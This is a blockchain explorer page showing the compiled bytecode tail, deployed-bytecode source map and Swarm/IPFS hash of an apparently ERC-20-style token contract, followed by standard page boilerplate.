e2565b90965094506040880135915080821115610e87575f80fd5b50610e9488828901610de2565b969995985093965092949392505050565b5f8060408385031215610eb6575f80fd5b610ebf83610d4d565b9150610ecd60208401610d4d565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f2457815f1904821115610f0a57610f0a610ed6565b80851615610f1757918102915b93841c9390800290610eef565b509250929050565b5f82610f3a57506001610432565b81610f4657505f610432565b8160018114610f5c5760028114610f6657610f82565b6001915050610432565b60ff841115610f7757610f77610ed6565b50506001821b610432565b5060208310610133831016604e8410600b8410161715610fa5575081810a610432565b610faf8383610eea565b805f1904821115610fc257610fc2610ed6565b029392505050565b5f610c1660ff841683610f2c565b808202811582820484141761043257610432610ed6565b634e487b7160e01b5f52603260045260245ffd5b5f8261101d57634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561043257610432610ed6565b8181038181111561043257610432610ed6565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220388c8b2fd47fdc231a1d0f34032f2a74ac9c20609cbaa1988da0d1fd78b0421a64736f6c63430008160033

Deployed Bytecode Sourcemap

2994:6860:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5123:83;;;;;;;;;;-1:-1:-1;5193:5:0;;;;;;;;;;;;-1:-1:-1;;;5193:5:0;;;;5123:83;;;;;;;:::i;:::-;;;;;;;;7661:193;;;;;;;;;;-1:-1:-1;7661:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;7661:193:0;1004:187:1;3877:41:0;;;;;;;;;;-1:-1:-1;3877:41:0;;;;-1:-1:-1;;;;;3877:41:0;;;;;;-1:-1:-1;;;;;1386:32:1;;;1368:51;;1356:2;1341:18;3877:41:0;1196:229:1;5498:108:0;;;;;;;;;;;;;:::i;:::-;;;1576:25:1;;;1564:2;1549:18;5498:108:0;1430:177:1;3757:75:0;;;;;;;;;;-1:-1:-1;3757:75:0;;;;-1:-1:-1;;;;;3757:75:0;;;6248:353;;;;;;;;;;-1:-1:-1;6248:353:0;;;;;:::i;:::-;;:::i;5309:83::-;;;;;;;;;;-1:-1:-1;5309:83:0;;3280:2;2295:36:1;;2283:2;2268:18;5309:83:0;2153:184:1;3475:31:0;;;;;;;;;;;;;;;;5400:90;;;;;;;;;;-1:-1:-1;5471:11:0;;;;5400:90;;8804:184;;;;;;;;;;;;;:::i;:::-;;5614:177;;;;;;;;;;-1:-1:-1;5614:177:0;;;;;:::i;:::-;-1:-1:-1;;;;;5765:18:0;5733:7;5765:18;;;:9;:18;;;;;;;5614:177;2068:87;;;;;;;;;;-1:-1:-1;2114:7:0;2141:6;-1:-1:-1;;;;;2141:6:0;2068:87;;5214;;;;;;;;;;-1:-1:-1;5286:7:0;;;;;;;;;;;;-1:-1:-1;;;5286:7:0;;;;5214:87;;3595:73;;;;;;;;;;-1:-1:-1;3595:73:0;;;;;;;-1:-1:-1;;;;;3595:73:0;;;9284:437;;;;;;;;;;-1:-1:-1;9284:437:0;;;;;:::i;:::-;;:::i;3675:75::-;;;;;;;;;;-1:-1:-1;3675:75:0;;;;-1:-1:-1;;;;;3675:75:0;;;6008:232;;;;;;;;;;-1:-1:-1;6008:232:0;;;;;:::i;:::-;;:::i;3513:32::-;;;;;;;;;;;;;;;;5799:201;;;;;;;;;;-1:-1:-1;5799:201:0;;;;;:::i;:::-;-1:-1:-1;;;;;5965:18:0;;;5933:7;5965:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5799:201;8996:280;;;;;;;;;;-1:-1:-1;8996:280:0;;;;;:::i;:::-;;:::i;9729:85::-;;;;;;;;;;;;;:::i;7661:193::-;7763:4;7785:39;1833:10;7808:7;7817:6;7785:8;:39::i;:::-;-1:-1:-1;7842:4:0;7661:193;;;;;:::o;5498:108::-;5559:7;3343:13;3280:2;3343;:13;:::i;:::-;3329:27;;:11;:27;:::i;:::-;5579:19;;5498:108;:::o;6248:353::-;6380:4;6397:36;6407:6;6415:9;6426:6;6397:9;:36::i;:::-;-1:-1:-1;;;;;6515:19:0;;;;;;:11;:19;;;;;;;;1833:10;6515:33;;;;;;;;;6444:127;;6467:6;;6515:45;;6553:6;6515:37;:45::i;:::-;6444:8;:127::i;:::-;-1:-1:-1;6589:4:0;6248:353;;;;;:::o;8804:184::-;2114:7;2141:6;-1:-1:-1;;;;;2141:6:0;1833:10;8852:23;8844:32;;;;;;8916:21;8948:32;8916:21;8948:12;:32::i;:::-;8833:155;8804:184::o;9284:437::-;2114:7;2141:6;-1:-1:-1;;;;;2141:6:0;1833:10;9391:23;9383:32;;;;;;9431:9;9426:288;9446:13;;;9426:288;;;9499:48;9531:15;3280:2;9531;:15;:::i;:::-;9519:6;;9526:1;9519:9;;;;;;;:::i;:::-;;;;;;;:27;;;;:::i;:::-;-1:-1:-1;;;;;9499:15:0;;;;;;:9;:15;;;;;;;:19;:48::i;:::-;-1:-1:-1;;;;;9481:15:0;;;;;;:9;:15;;;;;:66;9581:50;9615:15;3280:2;9615;:15;:::i;:::-;9602:6;;9609:1;9602:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;9581:9;:16;9591:2;;9594:1;9591:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9581:16:0;;;;;;;;;;;;-1:-1:-1;9581:16:0;;;:20;:50::i;:::-;9562:9;:16;9572:2;;9575:1;9572:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9562:16:0;;;;;;;;;;;;-1:-1:-1;9562:16:0;:69;9666:2;;9669:1;9666:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9651:51:0;9660:4;-1:-1:-1;;;;;9651:51:0;-1:-1:-1;;;;;;;;;;;3280:2:0;9686;:15;;;;:::i;:::-;9673:6;;9680:1;9673:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;9651:51;;1576:25:1;;;1564:2;1549:18;9651:51:0;;;;;;;9461:3;;9426:288;;;;9284:437;;;;;:::o;6008:232::-;6122:4;1833:10;6183:27;1833:10;6200:2;6204:5;6183:9;:27::i;8996:280::-;2114:7;2141:6;-1:-1:-1;;;;;2141:6:0;1833:10;9111:23;9103:32;;;;;;9151:9;9146:123;9166:13;;;9146:123;;;9221:2;;9224:1;9221:5;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9206:51:0;9215:4;-1:-1:-1;;;;;9206:51:0;-1:-1:-1;;;;;;;;;;;3280:2:0;9241;:15;;;;:::i;:::-;9228:6;;9235:1;9228:9;;;;;;;:::i;:::-;;;;;;;:28;;;;:::i;:::-;9206:51;;1576:25:1;;;1564:2;1549:18;9206:51:0;;;;;;;9181:3;;9146:123;;9729:85;2027:13;:11;:13::i;:::-;9795:11:::1;::::0;;-1:-1:-1;;9780:26:0;::::1;9795:11;::::0;;::::1;9794:12;9780:26;::::0;;9729:85::o;7862:369::-;-1:-1:-1;;;;;7989:19:0;;7981:68;;;;-1:-1:-1;;;7981:68:0;;6038:2:1;7981:68:0;;;6020:21:1;6077:2;6057:18;;;6050:30;6116:34;6096:18;;;6089:62;-1:-1:-1;;;6167:18:1;;;6160:34;6211:19;;7981:68:0;;;;;;;;;-1:-1:-1;;;;;8068:21:0;;8060:68;;;;-1:-1:-1;;;8060:68:0;;6443:2:1;8060:68:0;;;6425:21:1;6482:2;6462:18;;;6455:30;6521:34;6501:18;;;6494:62;-1:-1:-1;;;6572:18:1;;;6565:32;6614:19;;8060:68:0;6241:398:1;8060:68:0;-1:-1:-1;;;;;8139:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8191:32;;1576:25:1;;;8191:32:0;;1549:18:1;8191:32:0;;;;;;;7862:369;;;:::o;6609:1044::-;-1:-1:-1;;;;;6698:18:0;;6690:68;;;;-1:-1:-1;;;6690:68:0;;6846:2:1;6690:68:0;;;6828:21:1;6885:2;6865:18;;;6858:30;6924:34;6904:18;;;6897:62;-1:-1:-1;;;6975:18:1;;;6968:35;7020:19;;6690:68:0;6644:401:1;6690:68:0;-1:-1:-1;;;;;6777:16:0;;6769:64;;;;-1:-1:-1;;;6769:64:0;;7252:2:1;6769:64:0;;;7234:21:1;7291:2;7271:18;;;7264:30;7330:34;7310:18;;;7303:62;-1:-1:-1;;;7381:18:1;;;7374:33;7424:19;;6769:64:0;7050:399:1;6769:64:0;6871:6;6852:15;6862:4;-1:-1:-1;;;;;5765:18:0;5733:7;5765:18;;;:9;:18;;;;;;;5614:177;6852:15;:25;;6844:76;;;;-1:-1:-1;;;6844:76:0;;7656:2:1;6844:76:0;;;7638:21:1;7695:2;7675:18;;;7668:30;7734:34;7714:18;;;7707:62;-1:-1:-1;;;7785:18:1;;;7778:36;7831:19;;6844:76:0;7454:402:1;6844:76:0;-1:-1:-1;;;;;6969:22:0;;6931:17;6969:22;;;:16;:22;;;;;;;;6968:23;:48;;;;-1:-1:-1;;;;;;6996:20:0;;;;;;:16;:20;;;;;;;;6995:21;6968:48;6965:335;;;7041:11;;;;7033:53;;;;-1:-1:-1;;;7033:53:0;;8063:2:1;7033:53:0;;;8045:21:1;8102:2;8082:18;;;8075:30;8141:31;8121:18;;;8114:59;8190:18;;7033:53:0;7861:353:1;7033:53:0;7137:3;7122:12;;7113:6;:21;;;;:::i;:::-;:27;;;;:::i;:::-;7164:13;;7101:39;;-1:-1:-1;;;;;;7164:13:0;;;7158:19;;;;7155:134;;7235:3;7219:13;;7210:6;:22;;;;:::i;:::-;:28;;;;:::i;:::-;7198:40;;7257:16;7268:4;7257:10;:16::i;:::-;7315:13;;7312:164;;7388:4;7370:24;;;;:9;:24;;;;;;:34;;7395:9;;7370:34;:::i;:::-;7363:4;7345:24;;;;:9;:24;;;;;;;:59;;;;7424:40;;-1:-1:-1;;;;;7424:40:0;;;-1:-1:-1;;;;;;;;;;;7424:40:0;;;7454:9;1576:25:1;;1564:2;1549:18;;1430:177;7424:40:0;;;;;;;;7312:164;7523:6;7505:15;7515:4;-1:-1:-1;;;;;5765:18:0;5733:7;5765:18;;;:9;:18;;;;;;;5614:177;7505:15;:24;;;;:::i;:::-;-1:-1:-1;;;;;7488:15:0;;;;;;:9;:15;;;;;:41;7572:18;7581:9;7572:6;:18;:::i;:::-;-1:-1:-1;;;;;7555:13:0;;;;;;:9;:13;;;;;;:36;;;;:::i;:::-;-1:-1:-1;;;;;7541:13:0;;;;;;;:9;:13;;;;;:50;;;;7607:38;;-1:-1:-1;;;;;;;;;;;7626:18:0;7635:9;7626:6;:18;:::i;:::-;7607:38;;1576:25:1;;;1564:2;1549:18;7607:38:0;;;;;;;6679:974;6609:1044;;;:::o;2709:123::-;2767:7;2799:1;2794;:6;;2787:14;;;;:::i;:::-;2819:5;2823:1;2819;:5;:::i;:::-;2812:12;2709:123;-1:-1:-1;;;2709:123:0:o;8694:98::-;2114:7;2141:6;;8751:33;;-1:-1:-1;;;;;2141:6:0;;;;8751:33;;;;;8777:6;;8751:33;2114:7;8751:33;8777:6;2141;8751:33;;;;;;;;;;;;;;;;;;;;;8694:98;:::o;2840:147::-;2898:7;;2930:5;2934:1;2930;:5;:::i;:::-;2918:17;;2958:1;2953;:6;;2946:14;;;;:::i;2163:108::-;2227:6;;-1:-1:-1;;;;;2227:6:0;1833:10;2227:22;2219:44;;;;-1:-1:-1;;;2219:44:0;;9038:2:1;2219:44:0;;;9020:21:1;9077:1;9057:18;;;9050:29;-1:-1:-1;;;9095:18:1;;;9088:39;9144:18;;2219:44:0;8836:332:1;2219:44:0;2163:108::o;8445:241::-;-1:-1:-1;;;;;5765:18:0;;8521:1;5765:18;;;:9;:18;;;;;;8505:17;8502:176;;8544:11;;;;8539:128;;8576:17;8587:5;;8576:10;:17::i;8539:128::-;8634:17;8645:5;;8312:125;8389:4;8375:11;:18;8371:59;;;8410:8;;;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1820:328::-;1897:6;1905;1913;1966:2;1954:9;1945:7;1941:23;1937:32;1934:52;;;1982:1;1979;1972:12;1934:52;2005:29;2024:9;2005:29;:::i;:::-;1995:39;;2053:38;2087:2;2076:9;2072:18;2053:38;:::i;:::-;2043:48;;2138:2;2127:9;2123:18;2110:32;2100:42;;1820:328;;;;;:::o;2342:186::-;2401:6;2454:2;2442:9;2433:7;2429:23;2425:32;2422:52;;;2470:1;2467;2460:12;2422:52;2493:29;2512:9;2493:29;:::i;2533:367::-;2596:8;2606:6;2660:3;2653:4;2645:6;2641:17;2637:27;2627:55;;2678:1;2675;2668:12;2627:55;-1:-1:-1;2701:20:1;;2744:18;2733:30;;2730:50;;;2776:1;2773;2766:12;2730:50;2813:4;2805:6;2801:17;2789:29;;2873:3;2866:4;2856:6;2853:1;2849:14;2841:6;2837:27;2833:38;2830:47;2827:67;;;2890:1;2887;2880:12;2827:67;2533:367;;;;;:::o;2905:847::-;3036:6;3044;3052;3060;3068;3121:2;3109:9;3100:7;3096:23;3092:32;3089:52;;;3137:1;3134;3127:12;3089:52;3160:29;3179:9;3160:29;:::i;:::-;3150:39;;3240:2;3229:9;3225:18;3212:32;3263:18;3304:2;3296:6;3293:14;3290:34;;;3320:1;3317;3310:12;3290:34;3359:70;3421:7;3412:6;3401:9;3397:22;3359:70;:::i;:::-;3448:8;;-1:-1:-1;3333:96:1;-1:-1:-1;3536:2:1;3521:18;;3508:32;;-1:-1:-1;3552:16:1;;;3549:36;;;3581:1;3578;3571:12;3549:36;;3620:72;3684:7;3673:8;3662:9;3658:24;3620:72;:::i;:::-;2905:847;;;;-1:-1:-1;2905:847:1;;-1:-1:-1;3711:8:1;;3594:98;2905:847;-1:-1:-1;;;2905:847:1:o;3757:260::-;3825:6;3833;3886:2;3874:9;3865:7;3861:23;3857:32;3854:52;;;3902:1;3899;3892:12;3854:52;3925:29;3944:9;3925:29;:::i;:::-;3915:39;;3973:38;4007:2;3996:9;3992:18;3973:38;:::i;:::-;3963:48;;3757:260;;;;;:::o;4022:127::-;4083:10;4078:3;4074:20;4071:1;4064:31;4114:4;4111:1;4104:15;4138:4;4135:1;4128:15;4154:416;4243:1;4280:5;4243:1;4294:270;4315:7;4305:8;4302:21;4294:270;;;4374:4;4370:1;4366:6;4362:17;4356:4;4353:27;4350:53;;;4383:18;;:::i;:::-;4433:7;4423:8;4419:22;4416:55;;;4453:16;;;;4416:55;4532:22;;;;4492:15;;;;4294:270;;;4298:3;4154:416;;;;;:::o;4575:806::-;4624:5;4654:8;4644:80;;-1:-1:-1;4695:1:1;4709:5;;4644:80;4743:4;4733:76;;-1:-1:-1;4780:1:1;4794:5;;4733:76;4825:4;4843:1;4838:59;;;;4911:1;4906:130;;;;4818:218;;4838:59;4868:1;4859:10;;4882:5;;;4906:130;4943:3;4933:8;4930:17;4927:43;;;4950:18;;:::i;:::-;-1:-1:-1;;5006:1:1;4992:16;;5021:5;;4818:218;;5120:2;5110:8;5107:16;5101:3;5095:4;5092:13;5088:36;5082:2;5072:8;5069:16;5064:2;5058:4;5055:12;5051:35;5048:77;5045:159;;;-1:-1:-1;5157:19:1;;;5189:5;;5045:159;5236:34;5261:8;5255:4;5236:34;:::i;:::-;5306:6;5302:1;5298:6;5294:19;5285:7;5282:32;5279:58;;;5317:18;;:::i;:::-;5355:20;;4575:806;-1:-1:-1;;;4575:806:1:o;5386:140::-;5444:5;5473:47;5514:4;5504:8;5500:19;5494:4;5473:47;:::i;5531:168::-;5604:9;;;5635;;5652:15;;;5646:22;;5632:37;5622:71;;5673:18;;:::i;5704:127::-;5765:10;5760:3;5756:20;5753:1;5746:31;5796:4;5793:1;5786:15;5820:4;5817:1;5810:15;8219:217;8259:1;8285;8275:132;;8329:10;8324:3;8320:20;8317:1;8310:31;8364:4;8361:1;8354:15;8392:4;8389:1;8382:15;8275:132;-1:-1:-1;8421:9:1;;8219:217::o;8441:125::-;8506:9;;;8527:10;;;8524:36;;;8540:18;;:::i;8571:128::-;8638:9;;;8659:11;;;8656:37;;;8673:18;;:::i;8704:127::-;8765:10;8760:3;8756:20;8753:1;8746:31;8796:4;8793:1;8786:15;8820:4;8817:1;8810:15

Swarm Source

ipfs://388c8b2fd47fdc231a1d0f34032f2a74ac9c20609cbaa1988da0d1fd78b0421a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.